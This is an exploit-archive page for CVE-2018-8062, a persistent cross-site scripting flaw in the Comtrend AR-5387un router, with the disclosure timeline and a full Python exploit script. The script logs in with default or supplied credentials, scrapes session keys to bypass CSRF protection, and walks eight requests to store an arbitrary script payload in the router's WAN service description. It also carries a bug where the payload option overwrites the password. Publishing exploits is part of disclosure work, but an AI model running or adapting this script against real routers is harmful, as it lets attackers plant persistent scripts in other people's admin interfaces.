Comtrend AR-5387un Cross Site Scripting

The Comtrend AR-5387un router suffers from a persistent cross site scripting vulnerability.


MD5 | ff78049c01eff75386a14638053da8b9

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
Exploit Title: Persistent XSS on Comtrend AR-5387un router
Date: 19/10/2020
Exploit Author: OscarAkaElvis
Vendor Homepage: https://www.comtrend.com/
Version: Comtrend AR-5387un router
Tested on: Software/Firmware version A731-410JAZ-C04_R02.A2pD035g.d23i
CVE: CVE-2018-8062

Disclosure timeline:
08/03/2018: Vulnerability was discovered
10/03/2018: Reported to Mitre (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8062)
11/03/2018: Mitre answered, CVE number reserved
11/03/2018: Reported to Comtrend as part of responsible disclosure, they never answered
16/10/2020: Two years later, reported again to Comtrend and public disclosure (https://twitter.com/OscarAkaElvis/status/1317004119509471233)
18/10/2020: Exploit creation
19/10/2020: Exploit sent to exploit-db

Exploitation explanation:
To exploit this vulnerability, once logged into the router, a WAN service must be created
Click on "Advanced Setup", "WAN Service". "Add button", "Next"
Then insert the payload into the "Enter Service Description" field. This was used for the PoC <script>alert('xss');</script>
Then click on "Next" four times to go on through the steps and finally click on "Apply/Save"
The result of the XSS will be displayed and triggered on the WAN services page

This exploit automatize the entire process bypassing CSRF protection and allowing to set a custom XSS payload
Happy hacking :)
OscarAkaElvis - https://twitter.com/OscarAkaElvis
"""

# Dependencies and libraries
import requests
from requests.auth import HTTPBasicAuth
import re
from sys import argv, exit
import argparse
from os import path
from time import sleep


class Exploit(object):

# Global class vars
session = requests.Session()
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.99 Safari/537.36"
ip = None
username = None
password = None
payload = None
default_ip = "192.168.1.1"
default_username = "admin"
default_password = "admin"
default_payload = "<script>alert('xss');</script>"
exploit_version = "1.0"
current_sessionkey = None
referer_sessionkey = None

script_name = path.basename(argv[0])
description_text = 'CVE-2018-8062 exploit by OscarAkaElvis, Persistent XSS on Comtrend AR-5387un router'
epilog_text = 'Examples:\n python3 ' + script_name + ' -i 192.168.0.150\n python3 ' + script_name + ' -u admin -p [email protected]\n python3 ' + script_name + ' -i 10.0.0.1 -u admin -p [email protected] -x \'<script>evil_js_stuff</script>\''

def start_msg(self):
print("[*] Starting CVE-2018-8062 exploit...")
sleep(0.5)

def check_params(self, arguments):
parser = argparse.ArgumentParser(description=self.description_text, formatter_class=argparse.RawDescriptionHelpFormatter, epilog=self.epilog_text)
parser.add_argument('-i', '--ip', dest='ip', required=False, help="set router's ip", metavar='IP')
parser.add_argument('-u', '--username', dest='username', required=False, help="set user to login on router", metavar='USERNAME')
parser.add_argument('-p', '--password', dest='password', required=False, help="set password to login on router", metavar='PASSWORD')
parser.add_argument('-x', '--xss-payload', dest='payload', required=False, help="set xss payload", metavar='PAYLOAD')
parser.add_argument('-v', '--version', action='version', version=self.print_version(), help="show exploit's version number and exit")

args = parser.parse_args(arguments)

self.start_msg()

print("[*] Launch the exploit using -h argument to check all the available options")
print()

if not args.ip:
self.ip = self.default_ip
print("[!] Warning, no ip set, default will be used: " + str(self.ip))
else:
self.ip = args.ip

if not args.username:
self.username = self.default_username
print("[!] Warning, no username set, default will be used: " + str(self.username))
else:
self.username = args.username

if not args.password:
self.password = self.default_password
print("[!] Warning, no password set, default will be used: " + str(self.password))
else:
self.password = args.password

if not args.payload:
self.payload = self.default_payload
print("[!] Warning, no XSS payload set, PoC default will be used: " + str(self.payload))
else:
self.password = args.password

def print_version(self):
print()
return 'v{}'.format(self.exploit_version)

def check_router(self):
try:
print()
print("[*] Trying to detect router...")

headers = {"User-Agent": self.user_agent}
response = self.session.get("http://" + str(self.ip) + "/", headers=headers)

if re.match(r'.*WWW-Authenticate.*Broadband Router.*', str(response.headers)):
print("[+] Comtrend router detected successfully")
else:
print()
print("[-] It seems the target is not a Comtrend router")
print("[*] Exiting...")
exit(1)
except (TimeoutError, ConnectionError, requests.exceptions.ConnectionError):
print()
print("[-] Can't connect to the router")
print("[*] Exiting...")
exit(1)

def check_login(self):
print()
print("[*] Trying to login...")

headers = {"User-Agent": self.user_agent}
response = self.session.get("http://" + str(self.ip) + "/", headers=headers, auth=HTTPBasicAuth(self.username, self.password))

if response.status_code != 401:
print("[+] Login successfully!")
sleep(1)
else:
print()
print("[-] Can't login into the router. Check your creds!")
print("[*] Exiting...")
exit(1)

def get_sessionKey(self, response_text):
sessionKey = re.search(r'.*sessionKey=([0-9]+).*', str(response_text))

if sessionKey is not None:
sessionKey = sessionKey.group(1)
else:
sessionKey = re.search(r'.*sessionKey=\\\'([0-9]+).*', str(response_text), re.MULTILINE)
if sessionKey is not None:
sessionKey = sessionKey.group(1)

return sessionKey

def step1(self):
print()
print("[*] Performing step 1/8. Getting initial sessionKey to bypass CSRF protection...")

headers = {"User-Agent": self.user_agent}
response = self.session.get("http://" + str(self.ip) + "/wancfg.cmd", headers=headers, auth=HTTPBasicAuth(self.username, self.password))

self.current_sessionkey = self.get_sessionKey(response.content)
print("[+] Success! Initial sessionKey: " + self.current_sessionkey)
sleep(1)

def step2(self):
print()
print("[*] Performing step 2/8...")

paramsGet = {"sessionKey": self.current_sessionkey, "serviceId": "0"}
headers = {"User-Agent": self.user_agent, "Referer": "http://" + str(self.ip) + "/wancfg.cmd"}
response = self.session.get("http://" + str(self.ip) + "/wanifc.cmd", params=paramsGet, headers=headers, auth=HTTPBasicAuth(self.username, self.password))

self.referer_sessionkey = self.current_sessionkey
self.current_sessionkey = self.get_sessionKey(response.content)
sleep(1)

def step3(self):
print()
print("[*] Performing step 3/8...")

paramsGet = {"sessionKey": self.current_sessionkey, "wanL2IfName": "atm0/(0_8_35)"}
headers = {"User-Agent": self.user_agent, "Referer": "http://" + str(self.ip) + "/wanifc.cmd?serviceId=0&sessionKey=" + self.referer_sessionkey}
response = self.session.get("http://" + str(self.ip) + "/wansrvc.cmd", params=paramsGet, headers=headers, auth=HTTPBasicAuth(self.username, self.password))

self.referer_sessionkey = self.current_sessionkey
self.current_sessionkey = self.get_sessionKey(response.content)
sleep(1)

def step4(self):
print()
print("[*] Performing step 4/8...")

paramsGet = {"vlanMuxPr": "-1", "sessionKey": self.current_sessionkey, "vlanMuxId": "-1", "ntwkPrtcl": "0", "enVlanMux": "1", "enblEnetWan": "0", "serviceName": self.payload}
headers = {"User-Agent": self.user_agent, "Referer": "http://" + str(self.ip) + "/wansrvc.cmd?wanL2IfName=atm0/(0_8_35)&sessionKey=" + self.referer_sessionkey}
response = self.session.get("http://" + str(self.ip) + "/pppoe.cgi", params=paramsGet, headers=headers, auth=HTTPBasicAuth(self.username, self.password))

self.referer_sessionkey = self.current_sessionkey
self.current_sessionkey = self.get_sessionKey(response.content)
sleep(1)

def step5(self):
print()
print("[*] Performing step 5/8...")

paramsGet = {"useStaticIpAddress": "0", "pppLocalIpAddress": "0.0.0.0", "sessionKey": self.current_sessionkey, "enblIgmp": "0", "enblFullcone": "0", "pppTimeOut": "0", "pppAuthErrorRetry": "0", "pppServerName": "", "enblPppDebug": "0", "pppPassword": "", "enblNat": "0", "enblOnDemand": "0", "pppUserName": "", "pppIpExtension": "0", "enblFirewall": "0", "pppAuthMethod": "0", "pppToBridge": "0"}
headers = {"User-Agent": self.user_agent, "Referer": "http://" + str(self.ip) + "/pppoe.cgi?enblEnetWan=0&ntwkPrtcl=0&enVlanMux=1&vlanMuxId=-1&vlanMuxPr=-1&serviceName=pppoe_0_8_35&sessionKey=" + self.referer_sessionkey}
response = self.session.get("http://" + str(self.ip) + "/ifcgateway.cgi", params=paramsGet, headers=headers, auth=HTTPBasicAuth(self.username, self.password))

self.referer_sessionkey = self.current_sessionkey
self.current_sessionkey = self.get_sessionKey(response.content)
sleep(1)

def step6(self):
print()
print("[*] Performing step 6/8...")

paramsGet = {"sessionKey": self.current_sessionkey, "defaultGatewayList": "ppp0.1"}
headers = {"User-Agent": self.user_agent, "Referer": "http://" + str(self.ip) + "/ifcgateway.cgi?pppUserName=&pppPassword=&enblOnDemand=0&pppTimeOut=0&useStaticIpAddress=0&pppLocalIpAddress=0.0.0.0&pppIpExtension=0&enblNat=0&enblFirewall=0&enblFullcone=0&pppAuthMethod=0&pppServerName=&pppAuthErrorRetry=0&enblPppDebug=0&pppToBridge=0&enblIgmp=0&sessionKey=" + self.referer_sessionkey}
response = self.session.get("http://" + str(self.ip) + "/ifcdns.cgi", params=paramsGet, headers=headers, auth=HTTPBasicAuth(self.username, self.password))

self.referer_sessionkey = self.current_sessionkey
self.current_sessionkey = self.get_sessionKey(response.content)
sleep(1)

def step7(self):
print()
print("[*] Performing step 7/8...")

paramsGet = {"dnsRefresh": "1", "sessionKey": self.current_sessionkey, "dnsPrimary": "1.1.1.1", "dnsSecondary": "8.8.8.8"}
headers = {"User-Agent": self.user_agent, "Referer": "http://" + str(self.ip) + "/ifcdns.cgi?defaultGatewayList=ppp0.1&sessionKey=" + self.referer_sessionkey}
response = self.session.get("http://" + str(self.ip) + "/ntwksum2.cgi", params=paramsGet, headers=headers, auth=HTTPBasicAuth(self.username, self.password))

self.referer_sessionkey = self.current_sessionkey
self.current_sessionkey = self.get_sessionKey(response.content)
sleep(1)

def final_step8(self):
print()
print("[*] Performing final step 8/8. Deploying XSS payload...")

paramsGet = {"sessionKey": self.current_sessionkey, "action": "add"}
headers = {"User-Agent": self.user_agent, "Referer": "http://" + str(self.ip) + "/ntwksum2.cgi?dnsPrimary=1.1.1.1&dnsSecondary=8.8.8.8&dnsRefresh=1&sessionKey=" + self.referer_sessionkey}
self.session.get("http://" + str(self.ip) + "/wancfg.cmd", params=paramsGet, headers=headers, auth=HTTPBasicAuth(self.username, self.password))

print()
print("[+] XSS payload deployed successfully")
print("[+] Happy hacking :) . Author: OscarAkaElvis")

@staticmethod
def main(self, arguments):
self.check_params(arguments)
self.check_router()
self.check_login()
self.step1()
self.step2()
self.step3()
self.step4()
self.step5()
self.step6()
self.step7()
self.final_step8()
exit(0)


if __name__ == '__main__':
ImportObject = Exploit()
ImportObject.main(ImportObject, argv[1:])

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